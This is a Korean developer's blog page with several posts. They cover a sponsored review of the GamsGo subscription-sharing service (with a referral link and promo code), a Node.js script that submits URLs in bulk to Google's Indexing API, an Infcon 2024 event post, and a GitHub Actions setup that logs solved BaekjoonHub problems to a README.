1년 전쯤에, 고잉버스(GoingBus) 구독 공유를 통해 ChatGPT를 사용했던 후기를 공유한 적이 있었다. 그래서일까, 일종의 광고 문의 같은게 들어왔다.  유튜브, 넷플릭스, 디즈니 등을 비롯해서 최근에는 AI들도 필수 요소들이 되어 필수 소비재가 늘어남에 따라 누군가 겜스고를 이용하고자할 때 싸게 이용했으면 하는 바램에서 작성하는 글이다.

 

 

필자는 유튜브 프리미엄 외에는 딱히 OTT는 이용하지 않는다. 하지만 개발자라는 직업 특성상 AI 활용은 트렌드를 넘어 필수 역량이 되었다. 그렇기 때문에 IDE인 Cursor 결제를 포함해서, OpenAI, Claude 등을 구독 결제를 통해 매달 60달러 정도를 필수 지출로 사용중이다. 

 

가입 후 최초화면

 

 

나처럼 AI를 많이 사용하던, OTT를 결제해서 이용을 하든 요즘 사회의 필수 소비재들의 구독제 시스템의 과소비(?)의 문제를 해결하고자 여러 구독 공유 서비스들이 나온 것 같고, 이 겜스고도 이 구독 공유 서비스중 하나로 보인다.

 

 

 

 

1년 전에 고잉버스를 이용했을 때와의 차이점이라고 한다면, 이제 여러 AI들이 서로 경쟁하며 발전하고 있기 때문에 이에 따라 기본적인 Chat GPT와 더불어 Claude, Gemini, 퍼플렉시티까지 지원하고 있고 몇 달전 화제였던 딥시크도 있는 게 인상적이다. 이 외에도 다양한 직군에서 사용되는 MS의 SaaS들과 피그마 등 다양한 서비스를 지원하고 있다.

 

 

 

 

 

 

 

 

 

플랫폼을 돌아보면서, 1년 전의 고잉버스와 가장 크게 다르다고 느껴졌던 부분은 몇 명의 사용자와 공유할지에 대한 선택지가 있다는 것이었다. (확인해본 바로는 고잉버스 또한 현재는 6인, 3인 공유는 선택 가능하다.)

 

 

 

 

 

 

 

 

 

구매를 완료하고나면, 오늘 날짜 기준으로는 GPT 4o 모델 ( + mini 등) 의 사용이 가능한데, 유의할 점은 공유 계정일 경우 다른 사용자 또한 GPT 질의 내용을 볼 수 있다는 점이다. 나는 이 점이 불편해서 고잉버스를 사용하지 않았었는데, 겜스고에서는 이런 구독 공유 플랫폼의 단점이 GPT 1인 계정을 통해 해소되었다.

 

 

 

 

 

 

 

 

또 메리트가 있다고 생각한 부분이, 바로 유튜브 프리미엄인데 생각보다 유튜브 프리미엄을 싸게 사용할 수 있는 것처럼 보인다.

자꾸 고잉버스와 비교하게되는데 (고잉버스만 1년 전에 써봐서..) 고잉버스는 아래처럼 5인 공유밖에 없는데다가 가격도 월 5달러 정도로 책정되어 있었다.

 

 

 

 

겜스고는 1인 계정 구독도 가능한데, 가격 측면에서도 20% 정도 저렴해서, 유튜브 프리미엄을 보다 더 싸게 이용할 수 있다.

 

 

 

 

 

유튜브는, 유튜브 계정을 겜스고에 입력해서 가족 계정에 초대받는 포맷이다 .아래 흐름대로 유튜브 프리미엄 가족 그룹에 초대되고 나면, 정상적으로 프리미엄을 이용할 수 있다.

 

 

 

정리

 

1년 전에 고잉버스 글을 게시했을 때에도, ChatGPT의 구독 공유의 단점을 지적한 바 있다.

 

(광고아님) 고잉버스(Goingbus) 후기 및 치명적인 단점인 "구독 공유"

웬만하면 개발 블로그이기 때문에 포스팅을 꺼려했지만, GPT 4.0을 구독 갱신을 하려고 하다가, 싸게 구매하는 방법이 있지 않을까 싶어서 찾아보다 공유 플랫폼?? 이라는 것이 있어 사용 후기를

mag1c.tistory.com

 

 

광고 글이라고 생각이 달라진 건 없다. 여전히 많은 AI를 사용하고 있지만, 앞으로도 구독 공유가 되는 부분이 치명적인 단점이라 생각하기 때문에, 금액을 조금 줄이고자 누군가와 같이 AI를 사용할 생각은 없다. 고잉버스를 사용했을 때는, 유튜브 프리미엄조차 다른 계정과 공유되기 때문에 사생활이 침해될까 싶어 1달 사용 후 해지를 했었다.

 

하지만 겜스고에서 유튜브 프리미엄 정도는 결제해서 사용해도 괜찮겠다는 생각이 들었다. 무엇보다 개인 계정이라는게 가장 큰 메리트였고, 6~70% 더 싼 가격에 이용하는 것도 한 몫 하는 것 같다.

 

마지막으로, 한 번 더 추천인 링크와 프로모션 코드를 남기며 글을 마무리한다. 필요한 사람이 있다면 한 번 써보는 것도 좋을 것 같다.


링크: https://www.gamsgo.com/partner/sVffq

프로모션 코드: CEGAD

 

 

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

티스토리 구글 서치 콘솔 미생성 색인 요청 자동화하기

2025. 1. 30. 15:55
728x90
728x90

 
2년 넘게 기술 블로그를 운영해오면서 블로그 세팅할 때 처음으로 들어가보고, 2년만에 구글 서치 콘솔에 들어가봤다.
 

 
 

 
 
 
어마어마하게 색인이 생성되지 않았는데, 아마 블로그를 운영하면서 불필요한 카테고리를 삭제하거나, 이동시킨 이유들 때문인 것 같다. 4040, 4043, 차단등의 문제는 제외하더라도, 적절한 표준 태그가 포함된 대체 페이지, 색인이 생성되지 않음 의 사유에 해당하는 페이지들은 색인 생성을 한 번쯤은 신청할 필요가 있어 보인다.
 

 
 
기술 블로그만해도 1500페이지 가량 되는 것 같은데, 이 수많은 페이지들을 일일이 색인 생성 요청을 보낼 수 없는 노릇이다. 그래서 GCP의 Web Search Index API를 이용해 자동으로 요청을 보내어 처리하였다.
 

 
페이지 색인 생성이 필요한 페이지 URL은 어느정도 수작업이 필요했는데, 페이지 색인 생성 페이지에서 세부 정보 보기를 클릭하여 내보내기 버튼을 통해 엑셀 파일로 내보낼 수 있었다. 내보내기를 통해 엑셀파일을 읽어 API를 통해 색인 업데이트 요청을 보내기만 하면 되는 간단한 자동 색인 생성 요청 코드를 만들어보았다.
 

const xlsx = require("xlsx");
const request = require("request");
const { google } = require("googleapis");
const key = require("./service_account.json");

// ✅ 1. 엑셀 파일 로드 & URL 리스트 추출
function getUrlListFromExcel(filePath) {
  const workbook = xlsx.readFile(filePath); // 엑셀 파일 읽기
  const sheetName = workbook.SheetNames[0]; // 첫 번째 시트 사용
  const sheet = workbook.Sheets[sheetName];

  // A열에서 URL 리스트 추출 (A2부터 끝까지)
  const urlList = [];
  const range = xlsx.utils.decode_range(sheet["!ref"]);

  for (let row = 1; row <= range.e.r; row++) {
    // 1부터 시작 (A2부터)
    const cellAddress = xlsx.utils.encode_cell({ c: 0, r: row }); // A열(row)
    const cell = sheet[cellAddress];
    if (cell && cell.v) {
      urlList.push(cell.v); // URL 추가
    }
  }
  return urlList;
}

// ✅ 2. Google Indexing API 인증 및 요청 실행
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); // 대기 함수 추가

async function requestIndexingWithDelay(urlList) {
  const jwtClient = new google.auth.JWT(
    key.client_email,
    null,
    key.private_key,
    ["https://www.googleapis.com/auth/indexing"],
    null
  );

  const tokens = await new Promise((resolve, reject) => {
    jwtClient.authorize((err, tokens) => {
      if (err) reject(err);
      else resolve(tokens);
    });
  });

  let failedUrls = [];

  for (let i = 0; i < urlList.length; i++) {
    const url = urlList[i];

    let options = {
      url: "https://indexing.googleapis.com/v3/urlNotifications:publish",
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      auth: { bearer: tokens.access_token },
      json: {
        url: url,
        type: "URL_UPDATED",
      },
    };

    try {
      const response = await request(options);
      console.log(`✅ 성공 (${i + 1}/${urlList.length}): ${url}`);
    } catch (error) {
      console.log(`❌ 실패 (${i + 1}/${urlList.length}): ${url}`);
      failedUrls.push(url);
    }

    await delay(100); // 대기 후 다음 요청 실행 (Rate Limit 방지)
  }

  console.log("\n🎯 [실패한 URL 목록]");
  if (failedUrls.length > 0) {
    failedUrls.forEach((failedUrl) => console.log(failedUrl));
  } else {
    console.log("✅ 모든 요청이 성공적으로 처리되었습니다!");
  }
}

// ✅ 3. 실행 (엑셀 파일에서 URL 가져와서 요청)
const filePath = "./urls.xlsx"; // ✅ 엑셀 파일 경로 (현재 폴더에 위치)
const urlList = getUrlListFromExcel(filePath);
console.log(`📢 총 ${urlList.length}개의 URL을 색인 요청합니다.`);
requestIndexingWithDelay(urlList);

 
 
혹여 코드를 사용해보려하는 사람들을 위한 세팅법을 간략하게 남기며 포스팅을 정리한다.
 

  1. JavaScript 코드를 실행해야하므로 nodejs를 필요로한다. nodejs를 설치하고 실행할 수 있는 환경을 구성해야한다.
  2. 색인 등록에 필요한 GCP부터 GCP IAM, API 세팅까지 끝마치고 GCP IAM의 JSON파일을 필요로한다. 세팅 방법은 링크에서 확인하자. 정말 자세하게 공유되어있다.
  3. IAM의 JSON파일과, 색인 URL 경로가 들어있는 xlsx파일은 위 코드와 같은 depth 경로에 있어야한다.

 

 

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

인프콘 2024 티켓 이벤트가 있네요

2024. 7. 4. 11:24
728x90
728x90

 
 
안녕하세요!! 블로그에 처음으로 존대로 포스팅을 진행해볼까 합니다.
 

 
 
요약
1. 인프콘 이벤트(링크)를 참조하셔서, MY 인프콘 페이지(링크)를 SNS, 블로그 등에 공유하세요.
2. 공유 게시물의 링크를 이벤트 페이지의 댓글에 남기기
 


 
아래는 제 인프콘 공유 페이지입니다.
 
https://www.inflearn.com/conf/infcon-2024/share?year=2024&id=1170588&hash=diehreo%40228eccce&name=mag1c

인프콘 2024 - MY페이지

친구의 인프콘 MY페이지를 둘러보고 인프콘 참가신청 하세요!

www.inflearn.com

 
 
 
 
 
올해도 어김없이 인프콘이 개최되는데요, 인프콘은 역시 여름에 해야 제맛인 것 같아요 (?)
 
 
작년에는 유튜브를 통해 인프콘을 복습했다면, 올해는 직접 참여해보고자 합니다.
 

인프콘 2024 - 발표/프로그램

인프콘 발표 세션과 프로그램을 소개합니다

www.inflearn.com

 
올해도 너무나 좋은 세션들이 준비되어 있었는데요, 저도 제가 원하는 세션들을 골랐고, 듣고 싶은게 많다보니 중복된 시간의 여러 세션들 중에 지금 당장 내가 들어야할 것을 선별하는 과정에 있어요.
 
 
컨퍼런스에 많이 참여해본 것은 아니지만, 현재 세 번의 컨퍼런스를 다녀왔는데요. 보통은 노션으로 정리된 세션을 보고 직접 시간표를 메모해야 했어요. 저는 노션에 시간표 별로 기록해서 돌아다녔던 기억이 있습니다. 
 
하지만!!!! 인프런에선 인프콘 마이페이지에서 듣고싶은 세션을 골라 담아 시간표를 만들 수 있었습니다!!!

 

 
 
이런식으로 말이죠. 제가 고른 세션들이 어지럽게 많은데요, 저는 이제 천천히 어떤 세션을 들을 지 고민해 볼 생각입니다.
 

 
인프콘 마이페이지에는, 시간표 외에도 랠릿내 이력서 허브와와 연동도 가능했는데요. 인프콘의 이번 네트워킹 파티에서 무언가 활용될 모양인가 봅니다. 사전 준비물이라고 하네요!! 저같은 1000% I 성향을 가진 사람도 네트워킹 파티를 즐길 수 있게 서포터와 인프랩 요원분들이 도와주신다고 하니 용기내서 한번 참여해보겠습니다;;;;;; 하하
 

 
 


 
 

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

백준, 프로그래머스 문제 업로드 자동화 (백준허브 푸시 -> readme 자동 업데이트)

2024. 5. 25. 17:06
728x90
728x90

 

현재 다니는 회사에 적응도 끝났고, 바쁜 일정도 어느정도 해소되었다.

진행하던 운동 기록 사이드 프로젝트도 피드백을 받아 수정 보완 단계로 접어들었고, 릴리즈를 앞두고 있다.

 

조금 시간이 나서 드디어 PS를 다시 할 수 있게 되었다.

(올해는 4월까지 단 한문제도 풀지 못했다...)

 

 

 

내가 일자별로 푼 문제들을 간단하게 문제 제목과 링크, 난이도를 파악할 수 있게 README.md에 업데이트 할 필요를 느꼈고

이제 어느정도 사용할 줄 알게 된 깃 액션을 통해 자동화를 시킬 수 있었다.

 

아래는 최종 결과물이며, 두 가지 이유로 포스팅을 남긴다.

(2024. 06. 05 업데이트 - 이전달의 데이터들은 다 접은글로 넘어가고 현재 달의 문제풀이 목록만 보여짐)

 

 

1.

나처럼 PS를 풀며 백준허브나 릿허브를 이용할 때, 메인 레포에 자동으로 문제 로그를 간단하게 남기고 싶은 분들을 위해.

 

2.

링크 처리를 커밋을 감지해 푸시되는 문제에 대한 README.md파일의 문제 링크를 받아서 진행하는 것이 베스트였으나 실패했다.

링크의 디코딩에 실패해서 해당 경로의 README.md의 경로를 인식하지 못해 링크를 solved.ac API로 받아왔는데

이는 문제 이름이 많을 경우 정확하지 않을 수 있다.

 

 

사용법은 다소 간단한데, README의 업데이트를 자동화해 줄 로직을 포함한 소스 코드와 액션 워크플로우 설정 코드만 있으면 된다.

 

간단히 설명하자면, 백준허브는 커밋 메세지에 -BaekjoonHub가 붙어서, 이를 감지해서 소스 코드를 실행시켰다.

필자는 현재 Node진영에서 개발하고 있기 때문에, 노드를 활용했으며

필요한 커밋만 감지해서 사용했다.

 

더보기

문제의 코드 (사용에는 지장이 없음)

 

const fs = require('fs');
const execSync = require('child_process').execSync;
const axios = require('axios');
const readmePath = 'README.md';

//README에 백준 난이도 이미지를 첨부하기 위해 사용
//실제 디렉토리에 백준 난이도 뱃지를 이미지로 저장해서 사용중입니다.
const getDifficultyIconPath = (level) => {
    const difficultyLevels = {
        'Bronze V': 1,
        'Bronze IV': 2,
        'Bronze III': 3,
        'Bronze II': 4,
        'Bronze I': 5,
        'Silver V': 6,
        'Silver IV': 7,
        'Silver III': 8,
        'Silver II': 9,
        'Silver I': 10,
        'Gold V': 11,
        'Gold IV': 12,
        'Gold III': 13,
        'Gold II': 14,
        'Gold I': 15,
        'Platinum V': 16,
        'Platinum IV': 17,
        'Platinum III': 18,
        'Platinum II': 19,
        'Platinum I': 20,
        'Diamond V': 21,
        'Diamond IV': 22,
        'Diamond III': 23,
        'Diamond II': 24,
        'Diamond I': 25,
        'Ruby V': 26,
        'Ruby IV': 27,
        'Ruby III': 28,
        'Ruby II': 29,
        'Ruby I': 30
    };
    return `<div align="center"><img src="https://github.com/mag123c/Codingtest/blob/main/icon/${difficultyLevels[level] || 0}.svg" /></div>`;
};

//백준허브의 푸시인지 감지. 현재 LEETCODE 플랫폼은 이용중이지 않아서, 차후 추가해서 사용하면 됩니다.
const getCommitMessages = () => {
    const output = execSync('git log -1 --pretty=%B').toString().trim();
    if (!output.includes('-BaekjoonHub')) {
        console.error('This commit is not from BaekjoonHub.');
        process.exit(1);
    }
    const problemInfoMatch = output.match(/\[(.*?)\] Title: (.*?), Time:/);

    if (!problemInfoMatch) {
        console.error('Commit message format is incorrect.');
        process.exit(1);
    }

    const problemLevel = problemInfoMatch[1];
    const problemTitle = problemInfoMatch[2];
    return { problemLevel, problemTitle };
};

const { problemLevel, problemTitle } = getCommitMessages();

//현재 커밋에 포함된 파일 경로와 파일명을 로그에 출력하는 함수
//파일 경로를 받아오는 데는 성공하였으나, 한글과 특수문자의 디코딩이 되지 않아 푸시된 README를 인식하지 못하는 에러가 있습니다.
//콘솔에 찍어보면 \312\443\531........../Title: \345\...... 형태의 README.md파일과 문제를 푼 언어의 코드파일이 감지는 되지만 디코딩이 되지 않는 이슈가 있습니다.
const logUploadedFiles = () => {
    try {
        const output = execSync('git diff-tree --no-commit-id --name-only -r HEAD').toString().trim();
        const files = output.split('\n');
        console.log('Uploaded files:');
        files.forEach(file => console.log(file));
        return files;
    } catch (error) {
        console.error('Failed to get uploaded files from the current commit.');
        process.exit(1);
    }
};

const decodeFilePath = (filePath) => {
    try {
        return decodeURIComponent(filePath.replace(/\\x/g, '%'));
    } catch (error) {
        console.error('Failed to decode file path:', filePath, error);
        return filePath;
    }
};

const uploadedFiles = logUploadedFiles().map(decodeFilePath);

//위의 logUploadedFiles에서 경로를 받아오면 베스트이지만
//현재 이슈 해결을 하지 못해 임시로 solved.ac API를 사용해서, 문제 제목으로 조회하여 문제 번호를 가져와서 링크에 사용하고 있습니다.
//같은 문제 제목일 경우, 맨 앞의 문제를 가져오기 때문에 정확하지 않을 수 있습니다.
//크롤링을 통해 https://www.acmicpc.net/search#q=${문제이름}&c=Problems 으로 사용하려고 하였으나
//403이 발생하였고 확인 결과 현재 스타트링크에서는, 스크래핑은 차단하고 있다고 합니다.
const fetchProblemLink = async (title) => {
    try {
        const reqUrl = `https://solved.ac/api/v3/search/problem?query=${title}&page=1`;
        const { data } = await axios.get(reqUrl);
        return `https://www.acmicpc.net/problem/${data.items[0].problemId}`;
    } catch (error) {
        console.error('Failed to fetch problem link:', error);
        return null;
    }
};

const updateReadme = async () => {
    let content = '';
    const newEntry = {
        date: new Date().toISOString().slice(0, 10),
        title: problemTitle,
        level: problemLevel
    };
    const problemLink = await fetchProblemLink(problemTitle);
    if (fs.existsSync(readmePath)) {
        content = fs.readFileSync(readmePath, 'utf8');
    }
    const tableHeader = `
| #  | 날짜 | 문제 | 난이도 |
|:---:|:---:|:---:|:---:|
`;

    let tableContent = '';
    const tableStartIndex = content.indexOf(tableHeader);
    let index = 1;

    if (tableStartIndex !== -1) {
        tableContent = content.slice(tableStartIndex + tableHeader.length).trim();
        const existingEntries = tableContent.split('\n').filter(entry => entry.startsWith('|'));
        index = existingEntries.length + 1;
        tableContent = existingEntries.join('\n');
    }

    const newTableRow = `| ${index} | ${newEntry.date} | [${newEntry.title}](${problemLink}) | ${getDifficultyIconPath(newEntry.level)} |`;

    const newContent = content.slice(0, tableStartIndex + tableHeader.length).trim() + `\n${tableContent}\n${newTableRow}\n`;

    fs.writeFileSync(readmePath, newContent);
};

const logReadmeContents = () => {
    uploadedFiles.forEach(file => {
        console.log("File :", file);
        const decodedFile = decodeFilePath(file);
        console.log("Decode : ", decodedFile);
        if (decodedFile.endsWith('README.md')) {
            console.log(`Contents of ${decodedFile}:`);
            try {
                const readmeContent = fs.readFileSync(decodedFile, { encoding: 'utf8' });
                console.log(readmeContent);
            } catch (error) {
                console.error(`Error reading ${decodedFile}: ${error.message}`);
            }
        }
    });
};

(async () => {
    await updateReadme();
    logReadmeContents();
})();

 

 

(2024. 06. 05 업데이트 - 이전달의 데이터들은 다 접은글로 넘어가고 현재 달의 문제풀이 목록만 보여짐)

import * as axios from 'axios';
import { existsSync, readFileSync } from 'fs';
const readmePath = 'test.md';

const getDifficultyIconPath = (level) => {
    const difficultyLevels = {
        'Bronze V': 1,
        'Bronze IV': 2,
        'Bronze III': 3,
        'Bronze II': 4,
        'Bronze I': 5,
        'Silver V': 6,
        'Silver IV': 7,
        'Silver III': 8,
        'Silver II': 9,
        'Silver I': 10,
        'Gold V': 11,
        'Gold IV': 12,
        'Gold III': 13,
        'Gold II': 14,
        'Gold I': 15,
        'Platinum V': 16,
        'Platinum IV': 17,
        'Platinum III': 18,
        'Platinum II': 19,
        'Platinum I': 20,
        'Diamond V': 21,
        'Diamond IV': 22,
        'Diamond III': 23,
        'Diamond II': 24,
        'Diamond I': 25,
        'Ruby V': 26,
        'Ruby IV': 27,
        'Ruby III': 28,
        'Ruby II': 29,
        'Ruby I': 30
    };
    return `<div align="center"><img src="https://github.com/mag123c/Codingtest/blob/main/icon/${difficultyLevels[level] || 0}.svg" /></div>`;
};

const getCommitMessages = () => {
    const output = "[Bronze III] Title: 웰컴 키트, Time: 152 ms, Memory: 15976 KB -BaekjoonHub"
    // const output = execSync('git log -1 --pretty=%B').toString().trim();
    if (!output.includes('-BaekjoonHub')) {
        console.error('This commit is not from BaekjoonHub.');
        process.exit(1);
    }
    const problemInfoMatch = output.match(/\[(.*?)\] Title: (.*?), Time:/);

    if (!problemInfoMatch) {
        console.error('Commit message format is incorrect.');
        process.exit(1);
    }

    const problemLevel = problemInfoMatch[1];
    const problemTitle = problemInfoMatch[2];
    return { problemLevel, problemTitle };
};

const { problemLevel, problemTitle } = getCommitMessages();


const fetchProblemLink = async (title) => {
    try {
        const reqUrl = `https://solved.ac/api/v3/search/problem?query=${title}&page=1`;
        const { data } = await axios.get(reqUrl);
        return `https://www.acmicpc.net/problem/${data.items[0].problemId}`;
    } catch (error) {
        console.error('Failed to fetch problem link:', error);
        return null;
    }
};

const updateReadme = async () => {
    let content = '';
    const defaultDiv = '<div align="center">\n\n';
    const newEntry = {
        date: new Date('2024-07-01').toISOString().slice(0, 10).replace(/-/g, '.'),
        title: problemTitle,
        level: problemLevel
    };
    const problemLink = await fetchProblemLink(problemTitle);
    if (existsSync(readmePath)) {
        content = readFileSync(readmePath, 'utf8');
    }

    let curContent = content.replace(/<details[\s\S]*?<\/details>/gi, '').split("\n\n\n\n")[1];
    const detailsRegex = /<details[\s\S]*?<\/details>/gi;
    let detailsContent = content.match(detailsRegex) || [];
    if (detailsContent.length > 0) {
        detailsContent = detailsContent.map(detail => `${detail}\n\n`);
    }

    const curDate = parseLastDate(curContent);
    const curIdx = parseLastIdx(curContent);
    const tableHeader = `
| #  | 날짜 | 문제 | 난이도 |
|:---:|:---:|:---:|:---:|
`;

    //달이 바꼈을 경우 기존 데이터는 접은글로
    if (newEntry.date.slice(5, 7) != curDate.slice(5, 7)) {
        const updateContent = `<details>\n<summary>${curDate.slice(0, 7)} 풀이 목록</summary>\n${curContent}\n</details>\n\n`;
        const newTableRow = `| ${1} | ${newEntry.date} | [${newEntry.title}](${problemLink}) | ${getDifficultyIconPath(newEntry.level)} |`;

        content = defaultDiv + detailsContent + updateContent + tableHeader + newTableRow + "\n";
    }
    else {
        const newTableRow = `| ${+curIdx + 1} | ${newEntry.date} | [${newEntry.title}](${problemLink}) | ${getDifficultyIconPath(newEntry.level)} |`;
        curContent = curContent + "\n" + newTableRow + "\n";
        content = defaultDiv + detailsContent + curContent;

        console.log(content);
    }

    writeFileSync(readmePath, content);
};

function parseLastDate(content) {
    const lines = content.split('\n');
    return lines[lines.length - 1].split("|")[2].trim();
}

function parseLastIdx(content) {
    const lines = content.split('\n');
    return lines[lines.length - 1].split("|")[1].trim();
}


updateReadme();

 

 

name: Update README
on:
  push:
    branches:
      - main
    paths-ignore:
      - README.md
      - .github/**
      - update-readme.js

jobs:
  update-readme:
    if: "!contains(github.event.head_commit.message, '[skip ci]')"
    runs-on: ubuntu-latest
    steps:
    - name: Checkout repository
      uses: actions/checkout@v4
      with:
        persist-credentials: false
        fetch-depth: 2  # 충분한 히스토리를 가져오기 위해 fetch-depth를 2로 설정

    - name: Set up Node.js
      uses: actions/setup-node@v4
      with:
        node-version: '20'

    - name: Install dependencies
      run: |
        echo '{}' > package.json
        npm install axios

    - name: Update README.md
      run: node update-readme.js

    - name: Commit and push changes
      env:
        GITHUB_TOKEN: ${{ secrets.토큰을 사용하시는 경우 repo > secrets의 토큰이름 }}
      run: |
        git config --global user.email "깃허브 이메일"
        git config --global user.name "깃허브 닉네임"
        git remote set-url origin https://x-access-token:${{ secrets.토큰 }}@github.com/${{ github.repository }}.git
        git add README.md
        git commit -m "Update README.md [skip ci]"
        git push origin HEAD:main

 

 

 

 

 

 

테스트를 위해 수많은 브론즈 문제들이 희생되었지만, 해결되지 못한 문제..

 

다시 돌아와서, 문제점에 대해 설명하자면

git diff의 세부 명령어를 통해 커밋에서 변경된 파일을 가져오는데는 성공했으나

아래처럼, 내가 아는 선에서 어떤 시도를 해도 디코딩이 되지 않았다.

 

 

복기 해보자면.

 

1.

git diff의 세부 명령어로 단순 파일 경로를 가져와서 fs.readFileSync - 실패

(git diff-tree --no-commit-id --name-only -r HEAD)

 

2.

git show HEAD:${file} 로 직접 파일 내용을 가져오기 - 실패

 

3.

1. 번의 HEAD에 직접 커밋 ID를 넣어봄 - 실패

 

4.

1. 3. 번 과정에 디코딩 시도 - 실패

 

5.

4. 를 수행하여 2. 명령어 시도 - 실패

 

6.

iconv-lite 사용 - 실패

 

7.

Buffer로 인코딩 변환 - 실패

 

 

 

계속 PS를 풀면서 경로를 제대로 파싱하는 시도를 통해 언젠간 해결해내고 말리라..

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

방명록